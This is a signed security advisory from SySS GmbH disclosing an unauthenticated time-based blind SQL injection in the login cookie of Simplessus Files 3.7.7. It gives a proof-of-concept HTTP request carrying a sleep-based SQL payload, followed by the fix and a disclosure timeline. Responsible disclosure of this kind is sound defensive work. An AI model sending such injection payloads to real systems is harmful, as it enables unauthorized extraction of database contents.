Simplessus Files 3.7.7 SQL Injection
Posted on 18 February 2017
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 Advisory ID: SYSS-2017-001 Product: Simplessus Files Manufacturer: Simplessus Affected Version(s): 3.7.7 Tested Version(s): 3.7.7 Vulnerability Type: SQL Injection (CWE-89) Risk Level: High Solution Status: Open Manufacturer Notification: January 25, 2017 Solution Date: January 25, 2017 Public Disclosure: February 16, 2017 CVE Reference: Not yet assigned Author of Advisory: Dr. Adrian Vollmer, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Product overview: Simplessus Files is a file sharing web application. The manufacturer describes the product as follows (see [1]): Simplessus Files is a simple software solution to exchange files and documents over the internet. No more file sharing via e-mail, FTP or CD-ROM with Simplessus Files replace very large files online easily. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability overview: Due to insufficient filtering of user controlled input, Simplessus Files is vulnerable to unauthenticated, time-based blind SQL injection. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: During the login process, the web application passes the value of the cookie 'UWA_SID' to a database without proper filtering or validation. Because SQL statements are interpreted by the database, information can be extracted bit by bit by using the SLEEP function. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): After sending the following request, the web application delays the response by 40 seconds (probably because the database is queried twice), showcasing the SQL injection vulnerability. POST /?lang=de_de HTTP/1.1 Host: <HOSTNAME> Content-Length: 47 Cookie: UWA_SID=00000000000000000000000000'%2b(select*from(select(sleep(20)))a)%2b' core%5Busername%5D=test&core%5Bpassword%5D=test ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Update to software version to 3.8.3. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2017-01-13: Vulnerability discovered 2017-01-25: Vulnerability reported 2017-01-25: Vendor confirmation 2017-02-15: Public disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for Simplessus Files http://files.simplessus.com [2] SySS Security Advisory SYSS-2017-001 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2017-001.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/news/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Dr. Adrian Vollmer of SySS GmbH. E-Mail: adrian.vollmer@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Adrian_Vollmer.asc Key ID: 0x037C9FE7 Key Fingerprint: 70CF E88C AEE7 DB0F 5DC8 3403 0E02 7C7E 037C 9FE7 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEcM/ojK7n2w9dyDQDDgJ8fgN8n+cFAlilYEkACgkQDgJ8fgN8 n+c66xAApjh4/0I9WKd+DraPe1BbIWVa0QkLsCh/3VlGFG+3AHJjRlUcl/Pu/ovw VwOA7srNIoOjYo2+FrzC943VJ8qpiB0hOzJ6TWuhaFIDCLmEgCn3gO/YIf1rI4w8 +aHmDda50vo2TsnKst2foAD/l32dJ0QjP/Y16im54OrXIRCYvMabO5fb1VjvjM3I x8crKl9Dl+J1IO3YJTNgimCAfuqbqPs/blGB5b0kdFD99TpsDk1cW+UVS7VCJ90C wVHACV+vi1mCEnyawrP6TVuRiF3f/ThKvgsB7haXotDu5RrSXqGGK/Bbkuy40TU7 3rtU+e5Vaw+8MMS4AzLnPIAqKTm0M6V40JM8rV8avgznhZ56gdPPvnZ7JU5UiMZ1 NrXv7xk6ss9Oz1XDokB7wANToEAERj/tzDTJpsaTFDuTEt4yycqRu/Jgg7ZHZwzW xvoYBT3ZyM1wRreMRNZshLPPY8qnvAMRncC+TKCn5ZLmIvL9h3DSt2qm8K9C6f8k 2Qr4J8fvdPgBR6hUNZ9hYEvNslwA9g8S/buPCUUUDkNWOnEzJZ3fQWWxT6VN/X2S corIt+Ims4AH9ztgvxk9C74WcZAGBAaG42fW7W5durYih748QVZL0J+r4SUhBJaM wR5+skcLaLtq4Xxk5YTiPLztLmN+TgQmSQLbkK1OCcXhNOmeDxE= =VLz2 -----END PGP SIGNATURE-----
